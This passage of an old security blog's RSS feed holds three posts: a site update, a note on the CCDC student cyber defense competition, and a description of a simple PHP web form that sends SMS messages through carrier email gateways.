Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 6" /> <w:LsdException Locked="false" Priority="19" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis" /> <w:LsdException Locked="false" Priority="21" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis" /> <w:LsdException Locked="false" Priority="31" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference" /> <w:LsdException Locked="false" Priority="32" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Reference" /> <w:LsdException Locked="false" Priority="33" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Book Title" /> <w:LsdException Locked="false" Priority="37" Name="Bibliography" /> <w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading" /> </w:LatentStyles> </xml><![endif]--><!--  /* Font Definitions */  @font-face 	{font-family:"Cambria Math"; 	panose-1:2 4 5 3 5 4 6 3 2 4; 	mso-font-charset:1; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:variable; 	mso-font-signature:0 0 0 0 0 0;} @font-face 	{font-family:Calibri; 	panose-1:2 15 5 2 2 2 4 3 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:-1610611985 1073750139 0 0 159 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-unhide:no; 	mso-style-qformat:yes; 	mso-style-parent:""; 	margin-top:0in; 	margin-right:0in; 	margin-bottom:10.0pt; 	margin-left:0in; 	line-height:115%; 	mso-pagination:widow-orphan; 	font-size:11.0pt; 	font-family:"Calibri","sans-serif"; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-fareast-font-family:Calibri; 	mso-fareast-theme-font:minor-latin; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin; 	mso-bidi-font-family:"Times New Roman"; 	mso-bidi-theme-font:minor-bidi;} .MsoChpDefault 	{mso-style-type:export-only; 	mso-default-props:yes; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-fareast-font-family:Calibri; 	mso-fareast-theme-font:minor-latin; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin; 	mso-bidi-font-family:"Times New Roman"; 	mso-bidi-theme-font:minor-bidi;} .MsoPapDefault 	{mso-style-type:export-only; 	margin-bottom:10.0pt; 	line-height:115%;} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.0in 1.0in 1.0in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --><!--[if gte mso 10]> <mce:style><!   /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-priority:99; 	mso-style-qformat:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin-top:0in; 	mso-para-margin-right:0in; 	mso-para-margin-bottom:10.0pt; 	mso-para-margin-left:0in; 	line-height:115%; 	mso-pagination:widow-orphan; 	font-size:11.0pt; 	font-family:"Calibri","sans-serif"; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-fareast-font-family:"Times New Roman"; 	mso-fareast-theme-font:minor-fareast; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin;} --> <!--[endif]--></p>
<p class="MsoNormal">Well it’s been a slow few months now and not much to write about or time to research topics to write about. So if you have any ideas thoughts of something you like to know more about let me know and if I choose your topic I will post the results of my research here.</p>
<p class="MsoNormal">I have updated the Wordpress code on the site as well as added Wordpress Security scanner to detect malicious files and help to thwart any hack attempts. I have also added a share mod to this site so you can instantly post my posts to Facebook, Twitter, Digg and so on.</p>
<p class="MsoNormal">Till next time take care.</p>
</div>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.digitaloffensive.com%2F2010%2F01%2Fupdates-11510%2F&amp;linkname=Updates%3A%201%2F15%2F10"><img src="http://www.digitaloffensive.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.digitaloffensive.com/2010/01/updates-11510/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CCDC Documentary Video</title>
		<link>http://www.digitaloffensive.com/2009/11/ccdc-documentary-video/</link>
		<comments>http://www.digitaloffensive.com/2009/11/ccdc-documentary-video/#comments</comments>
		<pubDate>Fri, 06 Nov 2009 14:17:27 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://www.digitaloffensive.com/?p=87</guid>
		<description><![CDATA[CCDC Documentary Video Released
For those that know me each you I volunteer some of my time to help college students who are interested in Information Security put their knowledge to the test through the CCDC (Collegiate Cyber Defense Competition).
Each year I join other professional penetration testers and security guru’s to fill the role of the [...]]]></description>
			<content:encoded><![CDATA[<p><strong>CCDC Documentary Video Released</strong></p>
<p>For those that know me each you I volunteer some of my time to help college students who are interested in Information Security put their knowledge to the test through the CCDC (Collegiate Cyber Defense Competition).</p>
<p>Each year I join other professional penetration testers and security guru’s to fill the role of the “Red Cell”. We become the guys that you learn fear for the next 12 to72 hours depending if it is the regional prelim or regional final CCDC event. We have one purpose and one purpose only to get in to the students fictitious company and cause them to lose points and business.</p>
<p>In the mean time the students are broken down by colleges. The student teams are referred to as the “Blue Cell” and each group has the exact same network that they are working with as well as the exact same business injects they must complete in order to gain points. The students take on the role of a newly hired IT firm as the company had just released all their IT staff for one reason or another and the CEO is demanding the business to continue as normal (Sounds familiar?)</p>
<p>At the end of each event since this is a learning experience for the kids we do a question and answer session to give these students the opportunity to ask us how it was done. What they can do better and so on and so forth.</p>
<p>Now for the first time ever you can see the full length CCDC documentary that was professionally filmed in HD at <a href="http://www.youtube.com/user/CyberWATCHcenter">http://www.youtube.com/user/CyberWATCHcenter</a>.</p>
<p>I make appearances and interviews in several of the videos.</p>
<p><img class="aligncenter size-full wp-image-88" title="mike-hacker" src="http://www.digitaloffensive.com/wp-content/uploads/2009/11/mike-hacker.JPG" alt="mike-hacker" /></p>
<p><strong>To learn more about the CCDC check the following sites:</strong></p>
<p><a href="http://www.cyberwatchcenter.org/">http://www.cyberwatchcenter.org/</a></p>
<p><a href="http://www.nationalccdc.org/">http://www.nationalccdc.org/</a></p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.digitaloffensive.com%2F2009%2F11%2Fccdc-documentary-video%2F&amp;linkname=CCDC%20Documentary%20Video"><img src="http://www.digitaloffensive.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.digitaloffensive.com/2009/11/ccdc-documentary-video/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP SMS Sender</title>
		<link>http://www.digitaloffensive.com/2009/10/php-sms-sender/</link>
		<comments>http://www.digitaloffensive.com/2009/10/php-sms-sender/#comments</comments>
		<pubDate>Thu, 22 Oct 2009 01:24:14 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[Code]]></category>

		<guid isPermaLink="false">http://www.digitaloffensive.com/?p=81</guid>
		<description><![CDATA[Simple SMS sender
It is no secret that almost all the cell phone companies today allow you to send txt messages to a person’s cell phone for free by means of emailing them a txt. This does not mean the company will not charge the receiver but the sender will not be charged.  To do this [...]]]></description>
			<content:encoded><![CDATA[<p>Simple SMS sender</p>
<p>It is no secret that almost all the cell phone companies today allow you to send txt messages to a person’s cell phone for free by means of emailing them a txt. This does not mean the company will not charge the receiver but the sender will not be charged.  To do this all you need is a email client or a web mail client and the following information:</p>
<p>T-Mobile: <em>phonenumber</em>@tmomail.net<br />
Virgin Mobile: <em>phonenumber</em>@vmobl.com<br />
Cingular: <em>phonenumber</em>@cingularme.com<br />
Sprint: <em>phonenumber</em>@messaging.sprintpcs.com<br />
Verizon: <em>phonenumber</em>@vtext.com<br />
Nextel: <em>phonenumber</em>@messaging.nextel.com</p>
<p>For example if I want to txt 717-555-1234 and that user is a Verizon user you would simply put <a href="mailto:7175551234@vtext.com">7175551234@vtext.com</a> in the “To” field and enter a small message in the body. Remember most cell phones are limited to 160 characters and cannot handle all the crazy things a standard email can.</p>
<p>Though an enough on this as you are here to learn about the code and a simple Google and can provide you with more information on the above topic.</p>
<p>Since I rarely try to PHP program I decided to write a PHP e-mailer that basically gave the user the ability to use a web form to send a SMS message to someone through an email.</p>
<p><img class="aligncenter size-full wp-image-82" title="sms" src="http://www.digitaloffensive.com/wp-content/uploads/2009/10/sms.jpg" alt="sms" /></p>
<p>The URL above will no longer work I removed the file so spammers and script kiddies could not use it.</p>
<p>To follow a long you need to have basic knowledge of PHP and HTML. If you do then this will be simple for you.  To view the code you can download it by click here <a href="http://www.digitaloffensive.com/mailer.txt" target="_blank">http://www.digitaloffensive.com/mailer.txt</a></p>
<p><strong>Section 1: </strong>This contains the author’s information as well as a warning about using the script as it is not written securely. This section also contains the die command to stop scrip kiddies from using file include and leaching off the script.</p>
<p><strong>Section 2:</strong> Is the actual PHP code this is where I define the variables by using $variableName = $_POST[‘textboxName’]. I use the POST command instead of the GET command as POST is used for tasks that will be done in the background and not displayed to the end user in the URL. In this section I also put basic logic check functionality in. Basically by using “if isset” I am able to define a field to make sure something is inserted before executing the code. If I did not have this in their every time the page loaded it would try to send and fail since no fields are defined by default. The final key element of this section is the “mail” command this is a PHP built in command and will use the “sendmail” application to send mail.</p>
<p><strong>Section 3:</strong> This section contains the actual code to make the form. This is the entire html that makes the text boxes and submit button. The key elements here are the names I used for the text box in the “id=”  or in the “name=” field as they tie in directly with the variables in the PHP section.</p>
<p>That covers all the code if you have any questions please feel free to post a comment and I will answer them. I plan to develop security in this app as I sharpen my skills of the PHP language past just searching for vulnerabilities.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.digitaloffensive.com%2F2009%2F10%2Fphp-sms-sender%2F&amp;linkname=PHP%20SMS%20Sender"><img src="http://www.digitaloffensive.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.digitaloffensive.com/2009/10/php-sms-sender/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
